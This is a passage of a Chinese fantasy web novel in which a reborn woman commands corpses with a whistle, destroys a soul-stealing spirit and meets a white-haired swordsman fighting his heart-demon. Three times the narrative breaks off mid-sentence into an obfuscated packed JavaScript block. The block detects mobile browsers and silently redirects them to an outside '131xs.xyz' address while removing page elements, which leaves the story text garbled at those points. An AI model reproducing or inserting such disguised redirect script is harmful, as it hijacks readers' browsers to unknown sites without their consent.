这声音好似在放屁,但俞思州镇定自若。 云岚的脚步猛地停下,眼睛一下瞪大,转过身来,面色有些发红:“你、你别吹啊!” 看他这样子,俞思州心中没来由得想叛逆一下,于是吹得更大声了。 “云岚!你把哨子拿回来,我包裹里还有别的东西,你找找送给她,让她别吵。”一个弟子憋着笑道。 “嗯,好。”云岚耳根已经红透了,点头答应,接了那弟子扔过来的包裹,便朝俞思州小跑过来,“姑娘,我拿别的和你换好不好?” 俞思州当然不会这么给他,她一边吹,一边非常灵活地翻上了西厢房的墙壁,居高临下,眼神穿过人群,遥遥投进宅院墙后的密林中。 月亮已经高高升起,有风吹过。 一双血红的眼睛慢慢从林子里浮现,一眨不眨地,恰好和她对视。 这是被鬼哨催来的阴尸。 沈砚清现在还没回来,俞思州知道,他是被故意引走了。 常识里,邪修的第一声鬼哨统一的意思都是“动”,用来激活阴尸的凶性,第二声鬼哨才是真正的指令,因为阴尸活动是靠阴灵气,阴灵气耗尽阴尸就动不了,所以邪修会设置一个“动”和一个“休息”的哨声用来节省阴灵气。 第一声哨声起的时候沈砚清追出去,除了追那鬼哭声,肯定还觉得那声鬼哨只起一个前置激活的作用,只要在第二声哨声起前抓到那个邪修,就可以速战速决,减少伤亡。 但凡事是有例外的,刚刚那声鬼哨的意思不是“动”,而是“杀”。 仅仅是这样对视,就已经能觉察出,这只阴尸非常凶悍,一定杀过不少人,院子里的藏冥山弟子年纪都还小,根基修为不足,它一只阴尸来偷袭,就能在这里杀个血流成河。 俞思州心说,不止她自己最近点背,这些小弟子也是倒了大霉。 不过至少她人在这里,死不了。 云岚眼见那吹着哨的疯姑娘像条滑溜溜的鱼一样蹿上了院墙,心里一急,也跟着跳了上去,打算直接把她带下来。 “那里危险!快过来!”他不自觉地用一种哄小孩的语气喊道。 俞思州从没被人用这种语气叫过,有点起鸡皮疙瘩,十分奇怪地瞥了他一眼,便咬着哨子,吹了气息最长的一声哨。 这一声哨响连她都要感叹,真是好难听。 她的正前方,树木轰然倒塌一片,一阵朔风从林中吹出,随即,那阴尸不再躲藏,迎面突了上来。 它身着暗红寿衣,脖子围一吊发青的压胜钱,肤色青灰,眉目凹陷,上牙紧咬下唇,十只手指指甲如刀一般雪亮。 武员外本来躺在地上装死,听到声响起来之后被吓的直瞪眼,跌跌撞撞跪下来磕头:“我们已经给你供了那么多人了,我儿子也送你手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563630|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了,别杀我,别杀我。” 几乎是霎时间,阴尸来到了他旁边。 武员外见到它时失声叫了一句:“我儿!去杀他们!别杀我啊!” 他的脑袋和身体瞬间分离,黑血溅了三尺来高,接下来被撕成两半的是武二老爷,血和内脏洒了大半个院子,周管家被冲上来的云岚勉力一拉,后背被划了一道极长的豁口,但人好歹是活着的。 “它的动作太快了!”云岚抹了一把溅到脸上的血,如临大敌。 闻到血味,背后的林子中,数十双红色的尸眼粲然亮起。 “这阴尸是武员外的儿子武生!若虚!给大师兄发信!其他人赶紧先撤!” 云岚手中灵剑与阴尸的十只爪子相撞,发出金石交错之声,好几位弟子和他一起围攻这只阴尸,但它浑身的皮仿佛铜浇铁铸,他们拿它毫无办法。 院内一时间,刀光剑影。 “嘟嘟嘟——”俞思州依旧坚持不懈吹着哨子,云岚这下真心觉得这姑娘是脑子有问题。 “撤哪去!我们跑了你就会死!这镇子也马上就要完蛋!哎!这疯子要死啊!”刚递完消息的若虚听见这不断的哨声,一边拔剑上来支援一边暴躁地吼。 后面还有十几只阴尸,但光眼前这一只,就让他们十分吃力了。 如果沈师兄没有回来,他们很可能会全部死在这里。 那刺耳的嘟嘟声还没停下。 “那你想干嘛!”云岚叫道,“拖到沈师兄回来?” “不然呢!”若虚吼道,“死疯子你给我过来躲着!别吹了!!” 他要去抓那满场跑的女疯子的后衣领,却反而被她狠狠蹬了一脚,滑了一个大趔趄,阴尸的长指甲贴着他腰侧划过,只撕烂了他的衣衫。 若虚气上心头,张嘴就要再骂,正是此时,俞思州双手合掌,喝一声:“息!” 众人只听见一声“嘎——”,竟然是那阴尸怪叫了一声,它双唇张开,双目紧闭,保持着攻击的姿势,原地不动了。 又听一声放屁般的哨响,俞思州再合掌:“动!” 那阴尸猛然睁眼,嘴唇闭住,返身面朝树林,吓得云岚直接架起了灵剑。 “杀。”俞思州命令。 它瞬时掠出,正对上林中那十几双窥伺的红眼,一时间,整个林中嘶吼声不绝,胳膊和腿乱飞。 阴尸竟然能临阵倒戈,和昔日同僚打作一团,这可是藏冥山弟子从来没遇到过的稀奇事,云岚和若虚甚至来不及擦身上的血,和其他弟子一起看的目瞪口呆。 阴尸和阴尸打架虽然很凶残……但是,也好精彩啊。 俞思州心说自己的控阴尸的本领还算是精湛的,估摸着这只阴尸应该是最厉害的一只,可以解决掉其他的。 眼下看起来,似乎安全了。 但是她忘记了,人一旦开始点背,就不会只背一小会。 电光石火之间,从天上飞下一道雷符,雷霆霹雳撕裂黑夜,林子里厮打的阴尸瞬时化作焦土,雪亮电光中,俞思州猛地抬头,望见居高临下的沈砚清那双黑沉沉的眼。 那双眼里,笑意不再,冷硬的目光直白地落在俞思州身上,和她从前那师尊的样子如出一辙。 不好! 俞思州当即转身,跳出院门向林中夺路狂奔。 沈砚清脚尖轻点,灵剑出鞘,霍然便是一道剑气凌厉划出! 但他眼睁睁看着这疯姑娘抬步往前一跳,轻巧地避开了剑气,她束发的草绳被震裂开来,乌黑的长发如瀑一般散落。 月夜下,疯姑娘长发飞扬,那背影和过去的某个场景重合,让他拿剑的手下意识颤抖了。 为什么…… 他竟然会以为自己看见了那个……已经死了十七年的人? 4. 夜游子 俞思州啪嗒啪嗒跑了一路,见沈砚清没有追来,便在一棵老槐树边停下,大喘了口气,抛了抛手上沾了她指尖血的哨子。 用手上这只声音奇怪的普通哨子当鬼哨来控制阴尸还是有些麻烦,不得不弄得和吹唢呐似的,所幸还是有用,她刚刚的脸没白丢。 俞思州靠着槐树休息一会,又饿了。 怀里还有馒头,她十分珍惜地掏出来啃。 她理了理现在的信息,刚刚死在阴尸手里的两位老爷,也算是原身那疯姑娘的仇人。 他们在花轿里设的聚灵阵就是为了把人用阴灵气活生生灌死,然后送给背后那个邪修制作成阴尸。 如果邪修被藏冥山弟子抓住了,大喜;没抓住,他们也还能靠卖姑娘活命,两手打算,想的挺美。 中天的月亮被薄云蒙住,远看似散着一圈毛边,月光暗下去,四下里顿时阴了不少,俞思州啃着冷馒头,心里盘算着法坛的事,又猝然听见远处,传来一声长长的:“救命啊——” 她啃馒头的动作一下顿住。 风慢慢停下,缥缈的雾气渐起,不多时,薄雾就变成了浓雾,不断翻卷着弥漫过来,遮天蔽月,将她也笼进其中。 紧接着,漫天的圆纸钱飞了出来,宛如一把一把枯黄的落叶,大雾之中,飘来一阵妇人又哭又笑的声音:“大喜——大喜——” 是之前轿子内那鬼哭声。 俞思州捏着没吃完的馒头,在心中有点生气地回道:喜什么喜。 她眯着眼睛,看见雾气溶溶的远处,出现一队小小的红色人影,正在追逐着一个人。 被追的那人有点眼熟,脸上有一道明显被戳伤的淤青,俞思州定睛一看,这竟然是早先被周管家派出去抓人的壮汉子。 出去了那么些人,眼下只剩下他一个了。 “救命!”他屁滚尿流地喊,眼泪鼻涕糊成了一块。 他身后,魂幡开道,纸钱铺路,两列红衣飘飘的阴尸从大雾中跃出,乍一眼看上去,俞思州叹为观止。 这一队阴尸少说有百十来只,行列左边是男尸,统一穿着红色寿衣,胸系红花,面带笑容,右边列女尸,着红裳,戴着缀流苏的红盖头,手上拿着一水儿纸做的财宝,细长的指甲都涂成了鲜红色。 队伍正中,一抬花轿飘然飞着,和俞思州在武员外府上的西厢房里坐过的那抬一模一样! 那一声声“大喜”,同样是从这花轿中传出来的。 这个队伍行进速度极快,几乎是几息的功夫,就快从远处贴到俞思州跟前来了,那壮汉现在估计已经是依靠自己的本能在逃跑。 等那壮汉跑到她这边来的时候,俞思州十分不舍地看了看自己的馒头,最后再咬了它一口。 然后,她直接跨步出去,挡在整个阴尸队伍前头,用指尖血在剩下的半个馒头上一戳,牵出体内的大部分阴灵气绕着馒头画了一圈。 随后,她盯着那飞来的红轿子,将馒头往前潇洒地挥手一投。 那半边冷馒头爆发出了无比的气势,以冲天之姿直穿而去,排在队首的阴尸被串糖葫芦似的穿过,一只只化作飞灰,俞思州紧接着扯出哨子,连着吹了三声,合掌喝道:“还不停下!” 那几十只阴尸直接爆发出哀鸣,前脸撞后脑,一下都刹住脚步,开始不断发抖。 轿子悬停在空中,里面终于不再“大喜”了,而是传出一阵尖锐的鬼哨,一声比一声急,但是没什么用,俞思州莫名地听出了一丝气急败坏。 现在,她知道这轿子里面是什么东西了。 这花轿里面装了一只夜游子。 阴灵邪祟这些东西,诞生于世的方式稀奇古怪,有些是经别的东西转化而来,比如阴尸,就是由人的尸体转化过来的邪物,还有一些,则是天生地养的。 夜游子就是天生阴灵,能言语,喜牧尸,会抽人魂,死时骨头化作鎏金,是用来炼器的绝佳材料。 这种阴灵,本身战斗力并不强,欺软怕硬,很会伪装,它们擅长牧尸用以保护自己,因为同样是阴灵,它们操纵阴尸可以自由地给出指令,而不用像邪修一样,有一个固定的定式。 落到夜游子手里的尸体,只要原本尸体的魂魄没有消散或者转入轮回,它们就能把那魂魄拘到自己手上。 以防万一,俞思州觉得自己还是有必要确认一下原身那姑娘魂魄所在,就道:“你装魂魄用的锁灵囊,交出来。” 轿子剧烈地抖了一下,一个小小的袋子被递了出来。 俞思州接过,在指头上挤了一点血,伸手进去在锁灵囊里翻找,里头有些魂魄显然是刚收进去的,十分活泼,甚至会追着她的手啃,但大多数都是静悄悄的,摸起来像是放凉的元宵。 她甚至在里面找到了武生的魂魄,但是,没有没有她这具身体原本的那个。 俞思州一边翻,一边淡淡道:“这就是全部了?” “……”夜游子沉默一阵,然后,花轿里面扔出来了十一具尸体。 是其他的壮汉,全是被阴尸杀的,死状极凄惨。 俞思州扫了一眼,心中叹息,但依旧面不改色,拍了拍手。 阴尸一蹦一蹦过来,把这十一具尸体拖走安置,它们非常自觉地把那个跑了的壮汉带了回来,只是他又十分不争气地吓晕了。 俞思州看它们似乎想要把吓晕过去的和那些尸体堆放到一起,便吹了声哨,叮嘱:“别放到一起。” 阴尸十分听话,就把唯一活着的那个挑出来,放到了另一边。 “还有吗?”俞思州转过头去,问那个夜游子。 “没、有、了。”夜游子被她这个架势吓住,磕磕绊绊地答。 “我问你,我的魂魄在哪里?”俞思州问。 “你的魂魄在、你身上。”夜游子答。 “我是说原来那个魂魄。”俞思州道。 “没有……原来那个没有魂魄。”夜游子道,“是一个空壳。” 什么? 俞思州觉得有点匪夷所思。 人有三魂七魄,生下来不可能是具空壳,哪怕是所谓的疯子傻子,也只是因为三魂七魄不完整,所以才会疯傻。 怎么会有没有魂魄的人?如果真是如此,那她……要怎么招魂? “我是不是先前就被抽走了魂魄?”俞思州问。 “不是,一直以来、都没有。”夜游子道。 俞思州直觉不好,如果这个小阴灵说的是真的,那她现在就相当麻烦了——疯姑娘的身体成了俞思州魂魄的容器。 俞思州心说自己得赶紧找个地方开法坛,越快越好。 就在她起身的时候,花轿的红帘一下子拉开,刚刚还装作娇弱的夜游子化作一股漆黑的潮腐之气,如同一股汹涌的黑色潮水,以迅雷不及掩耳之势冲到俞思州眼前,所到之处,连空气都被抽离。 “想跑?”俞思州一眯眼,刚抬起手来,一道红光便破开浓雾,一把鲜红色的剑随后嗡鸣而来! 这剑和俞思州从前见过的所有剑都不一样,浑身血气缠绕,业障浓烈,气势无比逼人,它直接将那团夜游子钉死在了地上。 那夜游子瞬时化成了一滩浓黑的血水,血水里,滚出一根金灿灿的鎏金骨头,上面还挂了块银色的腰牌,上面写着“典魂斋”三个字。 俞思州盯着这根邪气冲天的骨头看了几息,把它连着那腰牌从血水里捡起来擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563631|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了擦,别到了腰带上。 刚好,她拿这个做一柄招魂幡。 远处,风声急啸,一个淡蓝色的影子立于剑上,化作一道流光直飞而来,是沈砚清,他后面还跟着一大串尾巴。 “师兄!下面!”云岚在空中喊。 沈砚清抬手,毫不留情,又是一道剑气横砍下来。 俞思州赶紧把锁灵囊挂到最显眼的一只阴尸的脖子上,吹了声哨。 阴尸听令,按顺序一个个排好队,俞思州也不管地上那把红色的剑了,拔腿就跑。 这一次她的灵活闪避稍有失误,沈砚清那剑气削了她一缕头发。 但她跑了也没几步,那把红色的剑竟然自己跟了过来,又飞到她身前,往她肩膀上一触,四周景色倏然变化,竟然从树林变作了一片宽阔的莲池。 “一把剑为什么会用缩地千里?!” 俞思州脚下一空,“噗通”一声,猝不及防掉进了莲池之中。 晃动的水波中,她竟然看见了一个白发少年光|裸的背影。 * “回禀师尊,凶手抓到了,是一只……夜游子。”沈砚清道。 他手里是宗门的传讯玉符,另一头是他远在藏冥山的师尊,闻漱。 “嗯。”闻漱应道,此时,在玉符安静的背景音中,出现了一个分外活泼的女声,是他的师妹,叶青鸢:“大师兄!早点回来呀!” “云岚会先回山,我还有些事要做。”沈砚清的声音柔了下来。 “嗯?什么事呀?” “遇到了一个邪修,我要去将她……斩草除根。” 沈砚清漠然垂头,看着掌心里他捡起的乌黑发丝,它十分柔顺地蜷缩在他掌间。 地上的黑血、周围的阴尸,那个让他一瞬恍惚的背影,让他想起一些旧事。 他从前那师妹俞思州,灵脉天赋哪怕是放在名不见经传的宗门里,都只能称得上是草包,何况她身在号称仙道第一、天才如过江之鲫的藏冥山,那就是草包中的草包。 但是,若真要提到她,当年的弟子无人不记得,她在拜师会同天骄弟子切磋时,使出的那惊人一招。 她那会甚至没有自己的灵剑,而是抄了一把铁剑就上去对擂,掌教师姐问她三遍你灵剑呢,她挠了挠头,朗声说她还没攒够进藏剑墟的灵石。 所有人都等着看笑话,但还没开始笑,便听台上剑风吟啸,罡气如龙,那天骄弟子的脸已经肿成猪头,倒飞出去两里地。 俞思州起手第一招,便是问心剑意九个招式中的最后一式,清霄问心。 这套剑术创自玉虚太微宫那位世尊师祖,几乎是所有宗门入门必修,只是修到往后,难度堪称逆天而行,绝大多数人都会放弃,但很明显,俞思州是例外。 前无古人、后无来者的例外。 后来,她的修为被废去,却依旧不甘心,出山门外学了满身歪门邪道的本事,师尊将她抓回山门,扔进牢里。 她被他摁在手下,弱的像条任人宰割的鱼,他折了她的骨头,断了她的邪术,但她直到死,也没有向任何人服过软、低过头,更不论认错。 她一辈子大抵都是如此,即使自己做错了事,也一定要死犟。 师尊说,受不染尘一剑,必然灰飞烟灭,俞思州死了便是死了。 沈砚清掌中火焰升起,将那发丝烧的一干二净。 “大师兄!那青鸢就在山门里等你回来。”师妹的声音在玉符里叽叽喳喳的响起。 “好啊,你等我。”沈砚清将那些往事抛之脑后,应道。 他的眼睛依旧没有离开自己的手掌心,却在心里想,这天上地下,他只认叶青鸢一个师妹。 5. 心魔 “扑通”一声,俞思州整个人扑进了莲池当中。 这池子极大,水色又极清澈,一眼看过去仿佛无边无际,俞思州掉下去时滑了个倒仰。 摔的倒不痛,但四肢一入水,锥心的寒冷顷刻间便像蛇一般顺着爬了上来,俞思州一时间竟生出一种被火灼烧的痛感。 “真冷。”她轻叹一声,呼出一口白气,从水底一骨碌爬起身来。 莲塘四处寒气幽幽,此间种植的莲花杆茎已经全数结冻,被冰包裹的莲杆呈出漆黑的枯死之色。 但不知为何,这里的池水没有冻上,依旧在潺潺流动。 衣裳已经湿了大半,但脸上却感觉轻快了不少,俞思州伸手在脸上摸摸,发觉那些泥和香粉在水里被冲了个七七八八。 怪不得会觉得松快。 她抬头环顾,莲塘四处空寂,也不见人影,耳边只有流水声在轻轻回荡。 怪哉,那她掉进来看到的那少年身影,只是她眼花? 这又是什么地方? 俞思州涉水往前几步,腰间悬挂的鎏金骨和写着“典魂斋”的腰牌碰到一处,发出叮铃的清脆之声,她闻声猛地低头,见腰间原本邪气冲天的骨头上此刻结了一层薄霜。 “嗯?这是?” 她伸手去触摸那结霜的骨头,原本它上头的邪煞会冲出来狠狠扎她手,但此刻,它就这样安安静静地被别在她的裤腰上,邪煞荡然无存,已然变成一颗相当干净的炼器材料。 俞思州一时间觉得有些诡异。 细想来,只是被水泡了一遭,这原本处理起来十分麻烦的鎏金骨就这样生生给净化了。 如果一个修士的灵力足够强势,是可以不借外物,只凭灵力直接逼出邪气的,但眼下看,这骨头上的邪气也不是被逼出去的,而是直接无声无息地被消解化去,一点动静都没让她察觉到。 俞思州好奇心起,也顾不得冻手,弯腰拘了一捧池水,当她举起这捧水再直起腰时,从指缝中淅沥落下的水滴,都在要落回池中的前一瞬化作了丝丝缕缕的清气,轻飘飘地从塘中升起,绕到她身边来。 这水,果真不是凡水。 “还真是长见识了。”俞思州放下手来,赞叹道。 好手笔,好修为。 这穷极目光不能看尽的莲池水,全部是由浓烈的灵力凝结而成,这是生造出来的洞天福地,全天下的修士到这里来,估计都要在池边大呼真是祖坟冒烟开了眼了,回头定要再大书特书一篇《桃花源》。 即使俞思州现在专攻的方向和正经修士稍微有些不一样,都觉得这池子未免夸张过头——她估摸着,就算是现在的凌霜君闻漱,也搞不出这么一大片灵力池子来。 这里肯定是有主人的,只不过现在还未现身。 “咳、在下无意打扰高人,多有得罪,多有得罪,还请包涵。”俞思州当即双手抱拳,朝着东西南北四个方向都拜了一拜,口中念念有词。 礼还没行完,便听见不远处一阵水声搅动。 俞思州心说难道自己拜的方式不对,便往声音来处一打眼,这一眼看过去,她整个人便十分真切地愣住了。 她原本还在想,掉下水看到那赤身的少年是眼花,但现在……她果然没有眼花啊! 那确实是一个少年。 莲池之上,月亮高悬,寒雾飘渺,他背对着她,雪一般颜色的长发顺着湿漉漉的玉白脊背披散开来,蜿蜒没入水中。 这池水的深度恰好卡在他后腰微妙的位置,俞思州隐约看见这少年线条极美的腰背,和他皮肤上浮动游走着的一道道金色的华美纹路。 这纹路像是某种咒的咒纹,有点眼熟,但俞思州一时半会想不起来叫什么名字。 很明显,这位少年并没有察觉到自己周边还站了个人,俞思州听见他唤道:“不悟。” 清凌凌的声音落下,四处寂静。 不悟,听起来像是法器的名字,但法器都是唤之即来,眼下也没有什么东西应答他。 但紧接着,俞思州感觉到身后传来一阵强烈的推力。 有什么东西在背后推她?! 俞思州当即反手往背后一捞,手指擦过一阵极烈的煞气,她眸光一冷,抽回手来,险险避过,然后毫不客气往后泼了一大捧池水。 只听一声剑出鞘的铮响,这把扎手的剑径直从鞘中飞出,目标十分明确,将俞思州腰间的鎏金骨一勾一带,然后,那节骨头被它一剑削成两段。 “我的招魂幡——” 俞思州被这剑的巨力带的向前一扑,又被迫一头扎进了水里。 然而,等她再从水中浮出头来的时候,便见到了十分奇妙的一景: 白发的漂亮少年已经转过身来,身上不知何时已经穿戴齐整,一身白衣,眼蒙白绸,一手执灵剑,周身仙气飘飘,面上金纹浮动,恍如出尘谪仙。 而他的对面,却多了一个和他身形一模一样,但气质截然相反的年轻人。 年轻人手执方才那柄红剑,满身血气萦绕,黑发如泼墨,红衣如血花,面容则模糊不清,只显出一双血红色的眼睛,带着嘲讽似的森冷笑意。 “骨化人……” 俞思州喃喃道,她一眼便知,这黑发红衫的年轻人,是借了那节鎏金骨才能化出人形来的,他身上的血气不同寻常,还交织着冲天的业障,绕在他身边的池水不断被染成深红,像是泼进来了一坛血。 这二人不发一语,一见面便是针锋相对,似乎完全没有留意到旁边的俞思州。 祥瑞的纯白色灵气和深红的血腥煞气互相倾伐周旋,俞思州感觉到了越来越重的威压,她现在空有灵脉没有修为,一点点灵力夹在二人中间,像是一小团面饼剂子。 这两人的架势,看起来是准备在这里打一架,还是不死不休的那种。 俞思州深谙一个道理,两个她打不过的人打起来,如果她在旁边不躲,连带遭殃的肯定是她。 她抬步,一边蹭蹭往后退,一边将眼神定在红衣年轻人手中的红剑上,猜他的本体应该是原本附在剑上的煞气和业障。 不悟……不悟……是这把红剑的名字,那白发的少年如果能叫动这把灵剑,说明他应当是它的主人,那这煞气和业障自然也是他的。 可他明明看起来如此光风霁月,为何这煞气……能烈到如此程度? 在她思索的这个当口,面前二人同时摆出剑招起手式,一瞬间,两把灵剑撞至一处,剑罡吟啸,水波激荡,数十尺的浪花飞溅而出! 一道大浪拍来,俞思州被卷出去好远,她在大浪中上下腾挪,看着那眼熟的起手式,一时又觉得新奇。 他们没有用法术,而是单单用了剑术。 而且,这剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563632|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招她也熟啊,她当年废了老大力气练出来的,问心剑意第九式,清霄问心。 这眼前二人剑招水平超凡脱俗,用起这剑术来并没有丝毫凝滞,反而行云流水,激烈当中还有几丝赏心悦目,俞思州看着看着竟然找到了当年在山门里上课上的入迷的感觉,盯着二人之间的刀光剑影目不转睛。 渐渐地,俞思州发现,这两个人不仅身形一模一样,连出招路数都是相同的,一招一式皆有应对,但剑法越发险峻,抱着要对方去死的架势。 在两把铿锵有力的剑再度撞到一起时,俞思州看着缠斗的二人,鬼使神差一般轻轻念出了剑名: “不、悟。” 灵剑相碰,火花四溅,明明是如此紧要关头,说话的人还远隔数丈距离之外,那墨发的年轻人却像是听到了什么,猛然转过了头,一双红眼睛看向她,好像第一次留意到这里还有一个人。 俞思州和这双红眼睛对上,对方模糊的五官竟然一下清晰了,随即,他朝她露出了一个肆无忌惮的笑容。 “……”白发少年皱眉,挽剑朝着眼前对手横刺出去,长剑直接穿胸而过,黑发年轻人霎时化作一团浓黑,爆开的血煞和业障纠缠在一起,溶在四周的灵气当中,然后,直接撞回了白发少年身上! 就是在这一瞬间,原本应该回到主人手中、名唤“不悟”的红剑劈开波浪,应召而来,一个急刹悬停于俞思州面前,让她措手不及。 俞思州这下不知如何是好,抬手也不是放手也不是,几息后,从牙缝里挤出一句话:“我们应该不认识吧?” 但不悟竟然又往她的方向贴了贴,俞思州没理它,转而望它主人,却见那少年身上的金色咒纹已经变成了鲜红色。 这时,她终于想起了咒纹的名字。 镇妄敕!用来镇压的是……心魔。 若求道之人心中藏有化解不开的偏执,便会产生心魔,随时间推移,心魔煞气越甚,到最后甚至能化出实体,杀死原身,为祸一方。 镇妄敕是镇住心魔最严的一道咒,它化作的咒痕会刻印在修士身体上,疼痛永不止息,既是束缚也是警戒。 这是修士在入魔的最后关头才能用的一个法门,若这道咒都破了,那入魔便成定局,世间便没有什么法子能把这修士拉回正道上了。 但俞思州从未见过这样浓烈的心魔气,除了那化身出来的之外,这白发少年身上应该还有未散发出来的,因为镇妄敕往往只有一道咒纹,但他这样子……咒纹明显已经爬满全身。 这一发作,应该要疼死了。 “呃……”白发少年半跪下身,有些痛苦地闷哼了一声,他眼睛上蒙着的绸布被他的动作带下,落入池中,俞思州才看见一张和方才那黑发的年轻人一模一样的脸。 他长的极俊秀,微颤的睫羽是雪色,一双眼睛的颜色也浅淡,只眉心和眼下各有一点红痣点缀,像是个琉璃做的人,但此刻,他的薄唇抿着,左眼变成了红色,浑身的血煞和业障被激发出来,和池子中纯净的灵力斗在一处。 池中风云变幻,红白双色在池中翻绞,少年的眼睛终于全部变成了赤红。 “……” 他依旧不语,鲜红的咒痕如同游鱼在他皮肤上游动。 俞思州见他举剑,将剑刃放上了脖颈。 “哎!你慢着!”见状,她一把抓起不悟,直接冲了过去。 6. 姬闻雪 她这一嗓子,似乎让陷入混沌的少年清醒了一瞬。 他的神情还有些恍惚,但执剑的手腕终于动了。 那双苍白的手松开了剑柄,俞思州还以为他是在和心魔的抗衡中夺得了一点上风,要把横在脖子上的剑取下去。 她在心中大喘一口气,直呼好险。 这个少年可千万不能死。 他这个情况,他自己就是压制心魔的锁链,这样强的心魔,如果被放出来,别问此时此地俞思州该如何,就是那一帮子仙门的来了,也拦不住它大开杀戒,到时候只怕又是一场浩劫。 只是这少年看着实在年轻,他那一手剑术修的也好,长得又如此漂亮,这样的人不论放在什么地方都是天之骄子,按理,人生应当还没出现过重大挫折,应该和俞思州先前遇到的那些弟子一样活泼,不会产生什么执念。 这么重的心魔是从哪来的。 俞思州涉水过去,她手上冰凉的不悟剑随着她和少年之间的距离缩近,变得越发滚烫。 她握着不悟,甚至感觉到这把剑的剑身正在有规律地轻轻鼓动,仿佛正在轻轻地呼吸。 这样规律的震颤和上升的温度,让她的手指尖有些发麻。 “不悟对吧?你赶紧去把那些心魔气吸回来。” 俞思州悄声念念有词道,她手里的剑温度好像更高了,她握着都觉得烫手。 剑当然没有应答她的碎碎念,她越靠近少年,那浓烈的心魔气更是直逼而来,让人双目都睁不开。 俞思州的视野被大半黑红色铺盖,在视线中心,那少年侧过脸去,终于是把灵剑放下了脖颈。 “呼。”睹此一幕,俞思州松了口气。 但见下一秒,只看此人双手反握剑柄,剑刃赫然倒转,朝向了自己的心脏。 ?! “住手啊!” 俞思州大惊失色,一扬手,直接把手里的不悟当标枪投了出去。 不悟在空中化作了一道优美的红色弧线,冲破那缠卷在一起的灵气和心魔,而她本人则一个箭步往前扑去,满心想着先把剑抢下来再说。 水声激荡,在少年手中的灵剑尖划破他胸口衣服的时候,俞思州死死抓住了他的手。 两手相握,她的手指比这少年的手还要更凉一些,触及他皮肤时,像是触到一块温温的玉。 俞思州能感觉到,她握住这双手的时候,他一下子卸去了力气,还微微颤抖了一下。 “冷静,冷静。”她使劲攥着他的手,道。 她不动声色,非常快地往下扫了一眼,到底,剑没有全部捅进他胸口,只是划破了衣裳,不妨事。 但俞思州心中这个“不妨事”刚闪过去,一个呼吸后,她就傻眼了。 她也不知道他穿的衣服到底是什么材料,这么……难以言喻。 锋锐的剑尖划开了少年胸口的衣料,紧接着,他身上这白衣裳就宛如留不住的流水,布料慢慢裂成两片,从他的肩膀上软绵绵地滑了下去。 没错,就这样,滑下去了。 俞思州十分想去帮他拉衣服,但手上又不能松开,犹豫这一下,大半个白花花的胸膛,就这样暴露在她的视线当中。 这人身上,一道道鲜红的镇妄敕如同纠缠的锁链,想来心魔还在发作当中,衣裳落下,他微微一颤,胸口被剑尖伤到的皮肤正往外沁着血珠。 一阵浅淡的梅花香气猝不及防袭上了俞思州的鼻尖,她的思绪被这梅香拐出去一息。 好香。 是他身上的气味? 俞思州反应过来,猛然撇开眼睛,开始觉得自己有点招架不住了。 少年那双血红的眼睛抬起,静静地望向她,而俞思州侧着头,正死盯着水里一根结冰的莲梗,似乎一下子觉得它长得十分别致,看的很起劲。 少年的眼睛一眨不眨,他瞳孔里的猩红在慢慢褪去,最后,变回了琥珀一般清澈的颜色。 “咕噜。”好像是水沸腾的声音。 俞思州循声看去,在那一小片冒泡的水底下看见一把烧红的像铁水一般的剑。 不悟被扔到这少年身侧,剑身剧烈上升的温度甚至让那一小片莲池水都冒起泡来了。 “?” 俞思州有点震惊。 它周围那一片水好像真的被煮开了……它到底在热个什么劲。 好怪的剑。 “这位……道友,敢问你的心魔镇下去了?”俞思州保持这个侧着脸的姿势问,手上的力气还是一点没小。 她到底还不敢放手,怕这人再起来咔嚓一下把自个捅个对穿,血溅当场。 少年的眼神落在她的手上。 “姬闻雪。”俞思州听他闷闷地道,“我叫姬闻雪。” “好的,姬闻雪道友。”俞思州道。 姬闻雪……俞思州觉得这名字取的还挺好听,和他的气质也相合,只是在这个场面交换姓名,在仓促中隐隐透露出一种滑稽的好笑来。 但她还是十分自然道:“我叫做俞枕澜——我们先松手哈。” 姬闻雪似乎点了点头,随着动作,他周身涌动的柔和梅香几乎将俞思州整个包裹了起来。 俞思州在这十分温柔的香气中分出一只手将剑柄拿走,姬闻雪便顺着她的力度就这样松开了手。 这把他们共执的灵剑就这样落到了俞思州手上。 俞思州把这白色的灵剑抓在手里,弯下身用它将在一边默默煮开水的不悟也拨远了一点,然后把两把剑归在一处。 那把白色的灵剑十分安静,反倒是不悟,也不知是不是错觉,俞思州好像看它煮开水煮的更欢了。 “你的不悟,它有什么问题吗?”俞思州看着那片越发沸腾的水花,百思不得其解,终于忍不住道,“我觉得它可能需要修一修。” “嗯?问题……确实有一些。”少年道,“不过应该修不好了。” 